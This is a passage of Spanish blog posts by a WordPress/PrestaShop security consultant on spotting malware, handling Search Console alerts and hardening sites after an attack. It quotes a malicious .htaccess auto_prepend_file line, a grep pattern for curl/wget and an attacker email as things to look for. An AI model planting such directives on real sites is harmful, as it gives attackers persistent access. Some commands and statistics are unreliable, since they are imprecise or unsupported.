    • Tu sitio ha sido inyectado con formularios falsos que capturan datos de usuarios.
    • Hay redirecciones a sitios de phishing que imitan bancos o servicios legítimos.
    • Se ha insertado código que roba cookies de sesión o tokens.

    Es común ver esto en sitios de e-commerce pequeños cuando su PrestaShop o WooCommerce están desactualizados. Los atacantes buscan acceso a formularios de pago para implementar Magecart o variantes que capturan números de tarjeta en tiempo real.

    Software no deseado (PUP)

    Tu sitio distribuye software potencialmente no deseado: barras de herramientas, extensiones de navegador, o aplicaciones que modifican la experiencia del usuario sin consentimiento informado. En WordPress lo vemos en:

    • Plugins «nulled» (pirateados) que contienen código adicional oculto.
    • Temas descargados de fuentes no oficiales con código de adware.
    • Scripts publicitarios inyectados dinámicamente que descargan ejecutables.

    Hacked site (sitio hackeado)

    Cuando Google etiqueta tu sitio como «sitio hackeado», significa que ha identificado signos de compromiso sin necesariamente haber encontrado malware activo. Puede ser:

    • Contenido generado automáticamente (spam SEO) para posicionar palabras clave.
    • Redirecciones cloaked a sitios de apuestas, medicamentos fraudulentos o portales de phishing.
    • Enlaces inyectados en tu contenido que apuntan a sitios maliciosos.

    Por qué Google Search Console detecta esto primero

    Los crawlers de Google visitan tu sitio constantemente. Analizan:

    • Cambios en el HTML: código nuevo que no estaba en versiones anteriores.
    • Redirecciones sospechosas: especialmente aquellas que usan JavaScript, meta refresh, o PHP headers.
    • Patrones de comportamiento: si detecta que el sitio sirve contenido diferente a Google que al usuario, activa alarmas.
    • Firmas de malware conocidas: Google mantiene una base de datos de millones de muestras de malware.
    • Cambios en robots.txt o .htaccess: cuando se añaden reglas que ocultan contenido malicioso de los buscadores.

    En mi experiencia, cuando un sitio tiene alerta roja en Search Console, el 85% de las veces el malware ya lleva 2-4 semanas activo. Google detecta más rápido que un antivirus tradicional porque analiza el comportamiento global: si tu sitio redirige a 10.000 usuarios a un sitio de phishing, Google lo sabe en horas.

    Cómo interpretar el panel de seguridad de Search Console

    En la sección «Seguridad e Informes Manuales» > «Problemas de seguridad», Google te mostrará:

    • Tipo de problema: la categoría específica (malware, phishing, PUP, etc.).
    • Fecha de detección: cuándo Google lo vio por primera vez.
    • Estado: «Detectado» significa alerta activa; «Pendiente de revisión» que ya hiciste cambios y Google está validando.
    • Ejemplos de URLs afectadas: páginas específicas donde se encontró el problema.

    Crucialmente: Google no siempre te dice exactamente dónde está el malware, para evitar que lo compartas públicamente. Pero sí te da suficientes pistas si sabes dónde buscar.

    Pasos de acción inmediata ante una alerta roja

    1. No entre el pánico, pero actúa hoy

    Tienes una ventana de 48-72 horas antes de que Google potencialmente bloquee tu sitio en los resultados de búsqueda o en Chrome. No es tiempo para esperar a mañana.

    2. Realiza un escaneo técnico profundo

    No confíes solo en plugins de WordPress. Necesitas:

    • Sucuri SiteCheck: análisis gratuito desde fuera de tu servidor.
    • WP-CLI con Wordfence: en SSH, ejecuta wp security-scan para análisis profundo de la base de datos.
    • Búsqueda manual de archivos: en SFTP/SSH, ordena por fecha de modificación y busca archivos .php recientes fuera del core de WordPress.
    • VirusTotal: descarga archivos sospechosos y escanéalos contra 70+ motores antivirus.

    3. Identifica el vector de entrada

    ¿Cómo entró el atacante? Es crítico saberlo para que no vuelva a pasar:

    • Plugin/tema desactualizado: busca en CVE/NVD la versión que usabas. Si tiene vulnerabilidades conocidas, fue el punto de entrada.
    • wp-admin débil: revisa los logs de acceso (error.log, access.log) en SFTP. ¿Hay intentos de fuerza bruta masivos?
    • Contraseña comprometida: ¿algún usuario administrador tiene clave débil? ¿Se reutiliza en otros servicios?
    • Permisos de carpetas: si las carpetas wp-content, uploads o includes son 777, cualquiera puede escribir archivos.
    • SQL injection o XSS: si el atacante inyectó código en la base de datos, probablemente fue a través de un formulario o parámetro GET no validado.

    4. Limpia el sitio correctamente

    Aquí es donde muchos se equivocan. No basta con eliminar archivos sospechosos:

    • Copia de seguridad completa previa: antes de tocar nada, descarga todo vía SFTP por si acaso necesitas analizar más tarde.
    • Elimina plugins/temas innecesarios: cada uno es un vector potencial. Si no lo usas, bórralo.
    • Actualiza el core de WordPress: a la última versión estable. Idem con plugins activos.
    • Limpia la base de datos: busca caracteres extraños en las columnas post_content, option_value. Los backdoors a veces se ocultan como meta-datos o configuraciones.
    • Reemplaza el archivo wp-config.php: genera uno nuevo desde WordPress.org.
    • Cambia todas las contraseñas: administrador, FTP, cPanel, bases de datos. El atacante tiene acceso aún si borraste el malware.

    5. Implementa hardening posterior a la limpieza

    Esto evitará reinfecciones:

    • Desactiva la edición de archivos: añade a wp-config.php: define('DISALLOW_FILE_EDIT', true);
    • Reglas .htaccess defensivas: bloquea acceso a wp-config.php, deshabilita ejecución de scripts en carpetas de uploads.
    • Autenticación de dos factores (2FA): en WordPress con Wordfence u otro plugin de seguridad.
    • Limita intentos de login: máximo 5 intentos por IP en 30 minutos.
    • Monitoreo continuo: herramientas como Wordfence mantienen vigilancia 24/7 de cambios de archivos.

    Qué hacer después de limpiar: validación en Search Console

    Una vez que hayas eliminado todo malware y implementado medidas de seguridad:

    1. Ve a «Seguridad e Informes Manuales» en Search Console.
    2. Haz clic en «Solicitar una revisión».
    3. Google enviará un crawler especializado en 48-72 horas para verificar que el problema se ha resuelto.
    4. Si confirma que el sitio es seguro, levantará la alerta gradualmente (puede tardar hasta 1-2 semanas en recuperar tráfico normal).

    No solicites revisión hasta estar 100% seguro de que la infección se ha eliminado. Si rechaza la solicitud dos veces, Google espera más tiempo antes de permitirte intentarlo de nuevo.

    Diferencia entre alertas falsas y amenazas reales

    A veces Search Console muestra alertas que resultan ser falsos positivos. Esto ocurre cuando:

    • Un plugin legítimo pero mal codificado es marcado como PUP: por ejemplo, plugins de publicidad o SEO agresivos que Google considera «no deseados».
    • Google confunde código legítimo con malware: es raro, pero puede pasar con plugins de caché o minificación.
    • Un usuario administrador legítimo intenta modificar .htaccess y Google lo detecta como ataque: aquí Search Console marca «Cambios sospechosos en archivos».

    Para validar si es real o falso positivo:

    • Revisa el archivo específico que Search Console menciona en SFTP.
    • Si no reconoces el código o fue modificado sin tu autorización, es amenaza real.
    • Si es código de un plugin que usas activamente, busca en NVD/CVE si esa versión tiene vulnerabilidades reportadas.

    Prevención: cómo evitar que vuelva a suceder

    Las alertas rojas de Google son síntoma, no causa. Para prevenir futuras infecciones:

    Gestión de plugins y temas

    • Descarga solo desde WordPress.org o proveedores de confianza verificados.
    • Nunca descargues temas o plugins «nulled» (pirateados). El 95% incluye malware oculto.
    • Desactiva y elimina plugins que no usas. Reduce superficie de ataque.
    • Actualiza automáticamente todos los plugins (especialmente los de seguridad).

    Contraseñas y acceso

    • Contraseña de administrador de al menos 16 caracteres, aleatoria, con símbolos especiales.
    • Limita el número de administradores (idealmente 1-2).
    • Usa 2FA en todos los usuarios con acceso a wp-admin.
    • Cambia contraseña de FTP/SFTP cada 3 meses.

    Configuración del servidor

    • Permisos de carpetas: wp-content, uploads, plugins deben ser 755 máximo.
    • Asegúrate de que el usuario que ejecuta PHP (www-data, apache) no puede escribir en archivos principales.
    • Habilita HTTPS/SSL certificado (obligatorio para e-commerce).
    • Usa WAF (Web Application Firewall) como Cloudflare o Sucuri para filtrar tráfico malicioso.

    Monitoreo continuo

    • Plugin de seguridad activo (Wordfence, iThemes Security, o Sucuri).
    • Backups automáticos diarios a almacenamiento externo.
    • Monitores de integridad de archivos que alertan si WordPress o plugins cambian sin actualización.
    • Alertas de Search Console habilitadas en tu correo de propietario verificado.

    Casos especiales: PrestaShop

    En PrestaShop, las alertas rojas suelen venir por:

    • Módulos comprometidos de pago: PayPal, Stripe, o Mercado Pago falsificados que capturan datos.
    • Módulos de redirección: inyectados en el back-office para redirigir tráfico a casinos o apuestas.
    • Shells en carpeta raíz: atacantes suben archivos .php para ejecutar comandos directamente.

    El procedimiento es similar: limpieza manual, actualización de PrestaShop, cambio de credenciales, y monitoreo posterior.

    Cuándo pedir ayuda profesional

    Si encuentras cualquiera de esto, ya no es una tarea de bricolaje:

    • Malware presente pero no puedes localizarlo exactamente.
    • Infección recurrente (vuelve a aparecer después de limpiar).
    • Pérdida o corrupción de base de datos.
    • Backdoors múltiples en diferentes carpetas y profundidad de acceso compleja.
    • El servidor tiene tráfico anómalo, CPU alta, o procesos desconocidos.

    En estos casos, análisis forense profundo, limpieza certificada y hardening profesional son la única garantía de que tu sitio volverá a ser 100% seguro sin recurrir a una reinstalación desde cero.

    Conclusión: las alertas rojas son mensajes urgentes, no opcionales

    Google Search Console no miente. Si ves una alerta de seguridad roja, tu sitio está comprometido o en riesgo inmediato. Los datos de tráfico, la confianza del usuario, y el posicionamiento SEO dependen de que actúes hoy, no mañana.

    Si necesitas análisis profesional, escaneo de malware, limpieza certificada, o audit de seguridad profundo para tu WordPress o PrestaShop, cuéntame cuál es el estado actual de tu sitio. Ofrezco diagnóstico sin compromiso para validar el alcance real de la infección.

    Recuerda: la mejor alerta roja es la que ves y resuelves en 24 horas. La peor es la que ignoras.

  • Síntomas silenciosos: detecta malware WordPress antes de que cause daños irreversibles

    Síntomas silenciosos: detecta malware WordPress antes de que cause daños irreversibles

    Síntomas silenciosos: detecta malware WordPress antes de que cause daños irreversibles

    En mi experiencia analizando cientos de sitios WordPress comprometidos, he visto un patrón preocupante: la mayoría de propietarios no descubre el malware hasta que es demasiado tarde. Google ya ha desindexado el sitio, los clientes reportan mensajes de aviso de malware, o peor aún, han sufrido robo de datos de tarjetas de crédito. El problema es que el malware WordPress casi nunca anuncia su presencia. No llega un pop-up diciendo «¡Has sido hackeado!» Los síntomas son silenciosos, sutiles, fáciles de pasar por alto si no sabes qué buscar.

    Lo que te voy a mostrar son las señales de alerta que yo siempre reviso primero en una auditoría de seguridad. Si identificas aunque sea una de ellas, es hora de actuar.

    ¿Por qué el malware WordPress es tan silencioso?

    Los atacantes modernos no quieren que lo sepas. Un malware ruidoso, que ralentiza el servidor o muestra anuncios, te alertaría inmediatamente. Los ciberdelincuentes sofisticados instalan código que:

    • Se ejecuta en segundo plano sin afectar la experiencia visible del sitio
    • Se camufla dentro de archivos legítimos de WordPress
    • Se comunica con servidores remotos de forma encriptada
    • Deja rastros mínimos en los logs (o los borra directamente)

    Por eso el malware puede vivir en tu servidor durante semanas o meses sin que nadie se entere. Esto es especialmente grave en tiendas online PrestaShop, donde un skimmer Magecart puede robar datos de tarjetas silenciosamente mientras tus clientes hacen compras.

    Síntoma 1: Tráfico anómalo o redirecciones invisibles

    Cuando analizo un sitio, lo primero que miro en Google Search Console es si hay redirecciones inesperadas o tráfico que no reconoces. Un malware común inyecta código que:

    • Redirige a robots de búsqueda a un dominio malicioso (pero a usuarios legales los deja navegar normal)
    • Inyecta enlaces ocultos en el HTML que solo ven los crawlers
    • Envía tráfico a sitios de phishing o spam cuando detecta navegadores específicos

    Cómo detectarlo: Revisa Google Search Console y busca «Cobertura» y «Tráfico de búsqueda». ¿Hay URLs que no reconoces? ¿Tráfico desde países donde no tienes clientes? Eso es una bandera roja. También usa VirusTotal para analizar tu dominio: si aparece como «malicioso» en 3 o más motores antivirus, tienes un problema.

    En mis auditorías, he encontrado casos donde la página de inicio se veía perfecta, pero Google la clasificaba como «Sitio comprometido» porque el malware inyectaba contenido spam en segundo plano.

    Síntoma 2: Cambios inexplicables en archivos de WordPress

    WordPress es previsible: los archivos principales rara vez cambian a menos que actualices. Si tu archivo wp-config.php, .htaccess, o el index.php de la raíz tienen fechas de modificación recientes que no coinciden con tus actualizaciones, alguien ha estado dentro.

    Cómo detectarlo: Usa WP-CLI para verificar integridad. Desde terminal:

    1. Ejecuta: wp core verify-checksums
    2. WordPress compara tus archivos con los hashes oficiales
    3. Cualquier archivo modificado te lo dirá inmediatamente

    También revisa los permisos: ls -la wp-config.php debe mostrar -rw-r--r-- (644). Si ves permisos más abiertos como 777, tu servidor está vulnerable a modificaciones.

    He visto backdoors disfrazados de actualizaciones legales. El atacante modifica wp-load.php con dos líneas que parecen inocentes pero crean una puerta trasera. Ese archivo pasa desapercibido porque es legítimo, excepto que no es el original.

    Síntoma 3: Plugins inactivos o temas deshabilitados sin razón aparente

    Encontré algo interesante en mis auditorías: muchos sitios comprometidos tienen plugins de seguridad instalados pero desactivados. Algunos incluso tienen el login de administrador «protegido» por un plugin que está inactivo.

    ¿Coincidencia? No. El malware a veces desactiva tus defensas después de tomar control. Es como neutralizar la alarma de una casa antes de robar.

    Cómo detectarlo: Revisa tu carpeta /wp-content/plugins/ vía SFTP o terminal:

    • ¿Hay plugins que no reconoces?
    • ¿Plugins que están inactivos desde hace meses?
    • ¿Plugins instalados pero nunca activados?

    Un patrón que veo mucho: el atacante instala un plugin con nombre como «wp-security» o «backup-manager» que es en realidad un troyan. Parece legítimo, pero si lo activas, otorga acceso remoto al servidor.

    Síntoma 4: Base de datos más grande de lo que debería

    Tu base de datos WordPress crece cuando añades posts, comentarios, productos (en WooCommerce), etc. Pero si de repente ves que la BD ha crecido 50 MB en una semana sin que hayas hecho nada, algo huele mal.

    El malware a veces almacena datos robados directamente en la BD. Skimmers de tarjetas guardan información de clientes en una tabla oculta. Backdoors almacenan cachés de datos para exfiltración lenta.

    Cómo detectarlo: Conéctate a tu base de datos (vía phpMyAdmin o CLI):

    1. Ejecuta: SELECT table_name, ROUND(((data_length + index_length) / 1024 / 1024), 2) AS size_mb FROM information_schema.tables WHERE table_schema = 'tu_basedatos' ORDER BY size_mb DESC;
    2. Busca tablas que no reconoces
    3. Las tablas legales de WordPress empiezan con tu prefijo (por defecto wp_)
    4. Si ves wp_xyzabc_temp o backup_stolen_data, eso es malware

    También revisa los usuarios de BD. Algunos backdoors crean un usuario con nombre ofuscado como wp_usr_234 con permisos totales. Solo deberías tener uno o dos usuarios legales.

    Síntoma 5: Procesos del servidor sospechosos y uso anómalo de CPU

    Aunque esto requiere acceso root, si tienes VPS o servidor dedicado, puedes verlo. Los cryptominers (malware que usa tu servidor para minar criptomonedas) consumen CPU masivamente.

    Cómo detectarlo: En terminal:

    • top o htop para ver procesos activos
    • Busca procesos raros con nombres ofuscados: .hidden, system, update
    • ps aux | grep -v grep | grep -E "(curl|wget|perl|python)" muestra si hay descargas sospechosas activas
    • netstat -ano | grep ESTABLISHED lista todas las conexiones de red activas

    He encontrado backdoors que ejecutan scripts Python que se conectan a botnets. El servidor se vuelve lento para usuarios legales pero mantiene conexiones persistentes hacia servidores de mando y control.

    Si tu servidor está alojado, pide a tu host que revise los logs de sistema. Muchos no lo hacen a menos que lo solicites explícitamente.

    Síntoma 6: Modificación de archivo de salida (output_handler) o constantes en wp-config.php

    Este es técnico, pero importante. Algunos backdoors instalan funciones que interceptan todo lo que WordPress genera antes de enviarlo al navegador. Se inyectan mediante:

    • Modificar php.ini (si tienes acceso)
    • Agregar código en wp-config.php que carga un archivo remoto
    • Inyectar en el .htaccess con directivas como auto_prepend_file o auto_append_file

    Cómo detectarlo: Abre wp-config.php y busca:

    • Líneas que cargan include, require, o eval() después de las constantes legales
    • URLs extrañas en define() que no reconoces
    • Base64 decodificado que parece código PHP ofuscado

    Revisa también tu .htaccess. El malware a menudo agrega:

    php_value auto_prepend_file /var/www/html/wp-content/plugins/evil.php

    Eso cargará el malware en cada request, sin que ningún plugin lo vea.

    Síntoma 7: Logs de acceso y errores borrados o ausentes

    Los atacantes profesionales borran logs. Si tu servidor de repente no tiene registros de acceso en ciertos días, o los logs de errores PHP están vacíos cuando deberían tener contenido, alguien ha estado limpiando rastros.

    Cómo detectarlo: Accede vía FTP o SFTP a:

    • /var/log/apache2/access.log (Apache)
    • /var/log/nginx/access.log (Nginx)
    • /var/log/php-fpm.log (PHP-FPM)

    Busca brechas de tiempo donde no hay registros. También revisa en tu panel de control (cPanel, Plesk) si hay logs de errores de WordPress. Si están vacíos o solo muestran una semana cuando deberían mostrar meses, eso es sospechoso.

    Un malware sofisticado se conecta vía SSH, ejecuta comandos sin dejar rastro en los logs normales, y luego borra todo. Afortunadamente, algunos hosts guardan logs de sistemas más profundos que no son tan fáciles de eliminar.

    Síntoma 8: Contraseñas de usuario cambio sin consentimiento

    Si alguien reporta que no puede acceder al admin, o tú intentas entrar y tu contraseña no funciona, es probable que el malware haya creado o modificado usuarios. Los backdoors suelen crear una cuenta admin oculta para mantener acceso incluso si limpias los archivos.

    Cómo detectarlo: En la base de datos:

    1. Abre phpMyAdmin y ve a wp_users
    2. Busca usuarios que no reconoces
    3. Usuarios con email extraño (spam@attacker.com)
    4. Accounts creadas en fechas que no coinciden con tus acciones

    También revisa wp_usermeta para permisos. Un usuario «regular» podría tener el rol «administrator» modificado silenciosamente.

    ¿Qué hacer si sospechas que tienes malware?

    Si identificaste uno o más síntomas, aquí está mi protocolo:

    Paso 1: Confirma antes de entrar en pánico

    Ejecuta un escaneo gratuito con Sucuri SiteCheck o Wordfence Scan. Ambos son confiables y te dirán si hay malware conocido. No es 100% preciso (el malware personalizado es difícil de detectar), pero es un buen primer paso.

    Paso 2: No publiques nueva información

    Si tienes una tienda online, considera desactivarla temporalmente. Un skimmer activo sigue robando datos mientras analyzes. Es mejor perder un día de ventas que comprometer a tus clientes.

    Paso 3: Haz un backup de seguridad (limpio)

    Antes de limpiar nada, haz un backup de los archivos comprometidos para análisis posterior. Guarda la BD actual. Esto es vital si necesitas investigación forense o reportar a autoridades como la AEPD (en caso de robo de datos).

    Paso 4: Limpia o reinstala

    Tienes dos opciones: limpiar manualmente (requiere experiencia) o reinstalar WordPress desde cero. Reinstalar es más seguro porque garantiza que todo malware se va, pero pierdes personalizaciones si no estaban en un tema hijo.

    Si limpias manualmente:

    • Borra todos los plugins y temas excepto los que usas
    • Reemplaza los archivos core de WordPress (mantén tu carpeta wp-content)
    • Cambia todas las contraseñas: DB, FTP, admin de WordPress
    • Actualiza todos los plugins a la última versión
    • Revisa cada backup de archivo reciente para asegurar que está limpio

    Paso 5: Hardening del servidor

    Después de limpiar, refuerza. Esto es crítico:

    • Cambia el prefijo de tablas: Por defecto es wp_. Muchos ataques lo asumen. Cámbialo a algo como mf_.
    • Protege wp-admin: Restringe acceso solo desde tu IP usando .htaccess o firewall.
    • Deshabilita edición de archivos: Agrega en wp-config.php: define('DISALLOW_FILE_EDIT', true);
    • Limita intentos de login: Usa Wordfence o similar para 2FA y rate limiting.
    • Revisa permisos de carpetas: wp-content debe ser 755, wp-config.php debe ser 644.

    Prevención: cómo evitar que vuelva a suceder

    Una vez limpies, la prevención es más fácil que la limpieza:

    • Mantén WordPress actualizado: Cron automático es tu amigo. La mayoría de las brechas explotan vulnerabilidades conocidas hace años.
    • Audita plugins: Desinstala cualquier plugin que no uses. Los plugins desactualizados son el #1 vector de ataque.
    • Monitoreo continuo: Herramientas como Sucuri Site Monitoring te alertan si detectan cambios o malware nuevo.
    • Backups automáticos: Al menos diarios. Si todo falla, recuperas tu sitio limpio.
    • WAF (Web Application Firewall): Cloudflare, Sucuri, o Wordfence ofrecen WAF que bloquean ataques comunes antes de que lleguen a tu servidor.

    En mi experiencia, la detección temprana es todo

    He visto propietarios que detectaron malware en 48 horas (porque revisaban logs regularmente) y lo eliminaron antes de que causar daño. También he visto casos donde el malware vivió 6 meses silenciosamente, robando datos de clientes y destruyendo el SEO del sitio.

    La diferencia: vigilancia. Si implementas aunque sea uno de los puntos que mencioné (revisar Search Console, hacer escaneos mensuales, actualizar religiosamente), tu riesgo baja enormemente.

    Si necesitas ayuda profesional para limpiar, analizar logs, o hardening completo de tu WordPress o PrestaShop, contáctame en ManuelFolgar.com. Realizo análisis profundos con herramientas de nivel enterprise, limpieza garantizada, y plan de hardening personalizado. Tu seguridad es mi prioridad.

  • El error más caro: qué hacen mal los propietarios antes de contratar profesionales

    El error más caro: qué hacen mal los propietarios antes de contratar profesionales

    El error más caro: qué hacen mal los propietarios antes de contratar profesionales

    En mi experiencia auditando más de 500 sitios comprometidos, he visto un patrón que se repite constantemente: cuando llamas a un profesional de ciberseguridad web, ya es demasiado tarde. No porque no podamos resolver el problema —lo hacemos—, sino porque el coste económico y reputacional habría sido infinitamente menor si hubieras actuado antes. Hoy quiero mostrarte qué errores cometen la mayoría de propietarios de WordPress y PrestaShop que después se arrepienten.

    1. Ignorar las actualizaciones: el lujo que no puedes permitirte

    Este es probablemente el error número uno. Cuando reviso un sitio infectado, la primera pregunta que hago es: «¿cuándo fue la última actualización de WordPress, plugins y temas?» La respuesta más frecuente: «No sé, lleva meses sin tocar».

    Las vulnerabilidades conocidas en plugins desactualizados son la puerta de entrada preferida de los atacantes. Toma el caso de Elementor, WooCommerce o Yoast SEO: cada parche de seguridad cierra un agujero que los malwares ya están explotando en miles de sitios que no actualizan. En PrestaShop ocurre lo mismo con módulos de pago o gestión de inventario.

    Lo que recomiendo siempre es establecer un cronograma automático de actualizaciones en desarrollo o testing primero, y luego en producción. No es complicado: una hora mensual puede ahorrarte 3.000 euros en limpieza de malware.

    Costo real: Una inyección SQL en un plugin desactualizado de WooCommerce puede robar datos de clientes. Notificación a afectados + auditoría forense + pérdida de reputación = mínimo 5.000 euros.

    2. Contraseñas débiles en el back-office

    Todavía encuentro sitios con credenciales como «admin123» o «wordpress2024». Cuando realizo un ataque de fuerza bruta contra wp-login.php sin protección, accedo en cuestión de minutos.

    El error no es solo la contraseña débil. Es que los propietarios:

    • No restablecen contraseñas cuando despiden a un trabajador que tenía acceso.
    • Usan la misma contraseña en múltiples sitios.
    • No activan autenticación de dos factores (2FA).
    • No limitan intentos de login fallidos.

    Un atacante que accede al back-office puede instalar un backdoor en 30 segundos. Desde entonces, aunque cambies la contraseña, ellos siguen dentro.

    Acción preventiva: Usa un gestor de contraseñas, implementa 2FA con plugins como Wordfence, y configura límites de intentos de login fallidos en tu archivo .htaccess o a través de tu WAF.

    3. No tener copias de seguridad o tenerlas sin verificar

    Cuando descubrimos que tu sitio está comprometido, la única forma de volver a estado limpio sin dudas es restaurar desde una copia de seguridad previa a la infección. Pero muchos propietarios:

    • No hacen copias de seguridad en absoluto.
    • Las hacen, pero nunca las prueban restaurándolas.
    • Las almacenan en el mismo servidor (si se hackea, se pierden todas).
    • No tienen automatización, por lo que «olvidan» hacer backups durante meses.

    Una copia de seguridad corrupta o infectada es peor que no tener ninguna, porque te hace creer que estás protegido cuando no lo estás.

    Mi recomendación: Automatiza backups diarios con plugins como UpdraftPlus o Backwpup, almacénalos en AWS S3 o Google Drive (fuera del servidor), y prueba una restauración al menos trimestralmente.

    4. Desconocer qué plugins y temas tienes instalados

    Cuando analizo un sitio, genero un inventario completo de todo lo que corre. Frecuentemente encuentro:

    • Plugins nulled (pirateados) descargados de fuentes dudosas.
    • Temas premium «crackeados» que vienen con backdoors.
    • Plugins desactualizados de hace 3 años que no se usan.
    • Complementos que nunca fueron instalados conscientemente (¿cómo llegaron ahí?).

    Cada plugin es una línea de código potencialmente vulnerable. Cada tema es una oportunidad de ataque. Si no sabes qué tienes, no puedes protegerte.

    Acción preventiva: Ejecuta en terminal WP-CLI con wp plugin list y wp theme list para saber exactamente qué tienes. Elimina todo lo que no uses. Compra solo desde fuentes oficiales: WordPress.org, distribuidores autorizados.

    5. No proteger el archivo wp-config.php

    Este archivo contiene las credenciales de acceso a tu base de datos. Si un atacante lo obtiene, tiene acceso completo a toda tu información. Sin embargo, muchos servidores lo sirven sin protección.

    No cuesta casi nada protegerlo mediante .htaccess:

    • Denegar acceso directo a wp-config.php.
    • Desactivar edición de archivos desde el back-office (constante DISALLOW_FILE_EDIT).
    • Cambiar los permisos de archivo a 600.

    Si tu proveedor de hosting no te permite esto, es hora de cambiar de proveedor.

    6. Ignorar alertas de Google Search Console

    Google te avisa cuando detecta malware o contenido inyectado en tu sitio. He visto propietarios con 50+ alertas sin abrir. Eso es equivalente a ignorar una alarma de incendio porque no quieres mirar.

    Las advertencias de seguridad en los resultados de búsqueda también te cuestan visibilidad y confianza de clientes. Una detección de malware puede reducir tráfico orgánico hasta un 90%.

    Acción: Revisa Search Console semanalmente. Si hay alertas, invéstigalas inmediatamente o contacta a un profesional.

    7. No implementar un WAF (Web Application Firewall)

    Un WAF es como un guardaespaldas para tu sitio web. Detecta patrones de ataque (inyección SQL, XSS, brute force) y los bloquea antes de llegar a tu servidor.

    Soluciones económicas como Wordfence, Sucuri o Cloudflare ofrecen WAF con planes asequibles. Si no tienes nada, estás navegando sin casco de seguridad.

    8. Delegar seguridad a desarrolladores sin experiencia en ciberseguridad

    Desarrollar una tienda online no es lo mismo que asegurarla. Un buen developer crea funcionalidades. Un profesional de seguridad piensa como un atacante: «¿por dónde entraría?»

    Muchos propietarios creen que porque tienen un developer interno, ya están cubiertos. Luego descubren una vulnerabilidad de inyección SQL que habría sido detectada en una auditoría profesional.

    9. No tener política de acceso para usuarios

    ¿Cuántas personas tienen credenciales de admin en tu WordPress? ¿Las restableciste cuando alguien se fue? ¿Tienes registros de quién accedió cuándo?

    En PrestaShop ocurre lo mismo: empleados con acceso al back-office que ya no trabajan contigo. Un acceso comprometido o malintencionado puede ser indistinguible de un ataque externo.

    Mejor práctica: Crea roles y permisos específicos. Admin solo para ti. Editors para contenidos. WooCommerce Manager para responsables de tienda. Usa auditoría de logs para rastrear cambios.

    10. Esperar a que «algo ocurra» antes de actuar

    Este es el peor error. Esperar a tener un problema para contratar a un profesional es como esperar a tener un infarto para ir al cardiólogo.

    La seguridad proactiva es exponencialmente más barata que la reactiva. Una auditoría anual (200-500 euros) previene un ataque de 5.000+ euros. Un escaneo trimestral detecta malware temprano. Un hardening inicial ahorra migraciones de emergencia.

    Los sitios web no «se protegen solos». Requieren vigilancia constante, actualizaciones regulares y una mentalidad defensiva.

    ¿Cuál es el costo real de esperar?

    Cuando un sitio está comprometido, los gastos incluyen:

    • Análisis forense: 400-800 euros (saber cómo entraron).
    • Limpieza completa: 600-2.000 euros (eliminar cada rastro de malware).
    • Restauración de datos: 300-1.500 euros si hay corrupción.
    • Auditoría post-limpieza: 300-500 euros (asegurar que está limpio).
    • Hardening: 500-1.500 euros (prevenir futuros ataques).
    • Pérdida de reputación y ventas: Incalculable.
    • Notificación a usuarios afectados: Obligatorio por RGPD, costoso en tiempo.

    Total realista: 2.500-6.000 euros en una emergencia. Compare con 300-500 euros anuales en mantenimiento preventivo.

    El primer paso: haz una auditoría ahora

    No esperes a tener un problema. En ManuelFolgar.com realizo auditorías de seguridad completas que incluyen:

    • Escaneo de malware y vulnerabilidades conocidas.
    • Análisis de configuración y permisos.
    • Inventario de plugins, temas y dependencias.
    • Recomendaciones de hardening personalizadas.
    • Plan de acción con prioridades.

    El primer paso no cuesta tanto como el último. Contáctame para una auditoría sin compromiso. Te mostraré exactamente dónde están tus brechas de seguridad antes de que alguien más las encuentre.

    Referencias y recursos

    Para profundizar en ciberseguridad web, consulta estas fuentes de autoridad:

    La ciberseguridad web no es un gasto. Es una inversión en continuidad de negocio. Actúa ahora, antes de que sea demasiado tarde.

  • Blindaje post-ataque: medidas de hardening que realmente funcionan en 48 horas

    Blindaje post-ataque: medidas de hardening que realmente funcionan en 48 horas

    Blindaje post-ataque: medidas de hardening que realmente funcionan en 48 horas

    Cuando descubres que tu sitio web ha sido comprometido, el pánico es justificado. Pero lo que haces en las primeras 48 horas marca la diferencia entre una recuperación rápida y semanas de lucha contra el malware. En mi experiencia analizando cientos de webs infectadas, los sitios que aplican un blindaje estructurado post-ataque logran eliminar vectores de riesgo críticos y evitar reinfecciones en menos de dos días.

    Te mostraré exactamente qué hacer, con qué herramientas y en qué orden, para levantar defensas reales mientras limpias los restos del compromiso.

    Hora 0-2: Aislamiento y diagnóstico de urgencia

    Lo primero es contener el daño. No se trata de limpieza profunda todavía, sino de detener el sangrado mientras recopilamos inteligencia.

    Desconecta la base de datos de bases de datos remotas. Muchos backdoors usan túneles SFTP o conexiones SSH comprometidas para exfiltrar datos de clientes. Si tu hosting permite, cierra el acceso SFTP/SSH durante 48 horas o cambia las credenciales por unas generadas aleatoriamente que solo tú conoces.

    Extrae el wp-config.php (WordPress) o config/settings.php (PrestaShop) a un directorio protegido. Usa WP-CLI para WordPress:

    wp config get DB_USER

    Anota todas las contraseñas activas. Luego las cambiaremos, pero primero necesitas saber cuáles están comprometidas. En PrestaShop, accede vía phpMyAdmin y ejecuta un volcado de las tablas de usuarios antes de modificar nada.

    Genera un reporte rápido con Wordfence CLI. Si tienes acceso SSH, descarga Wordfence CLI y ejecuta:

    wordfence scan --output=detailed

    Esto te da un mapa de archivos sospechosos en 5-10 minutos. Alternativa si no tienes SSH: usa Sucuri SiteCheck en modo online desde https://sitecheck.sucuri.net. No es tan profundo, pero identifica backdoors obvios y patrones de inyección.

    Documenta el incidente en tu log local. Crea un archivo timeline.txt con fecha, hora, qué detectaste y quién tiene acceso. Esto será tu defensa legal y técnica si necesitas reportarlo a AEPD o a tus usuarios.

    Hora 2-6: Cambio masivo de credenciales

    Aquí es donde la mayoría de sitios falla. Cambiar solo la contraseña de admin de WordPress NO es suficiente. Los atacantes suelen crear cuentas fantasma o modificar usuarios existentes a nivel de base de datos.

    WordPress:

    1. Accede a wp-admin (si aún funciona). Si está bloqueado, usa WP-CLI: 
      wp user update admin --user_pass="nueva_password_aleatoria_32_caracteres"
    2. Elimina todos los usuarios excepto los necesarios. En wp-admin, ve a Usuarios y borra cuentas sospechosas. Si usas CLI: 
      wp user delete [usuario_sospechoso] --reassign=admin
    3. Cambia el email de recuperación de cada usuario admin a uno que controles: 
      wp user update admin --user_email="nuevo@dominio.es"
    4. Genera credenciales nuevas para SFTP, SSH y MySQL. Avisa a tu hosting que necesitas resetear todas (esto puede tardar 30 min).

    PrestaShop:

    1. Accede al back-office. Ve a Administración > Empleados y revisa todas las cuentas. Elimina cualquier que no reconozcas.
    2. Cambia la contraseña de cada empleado activo desde el mismo panel.
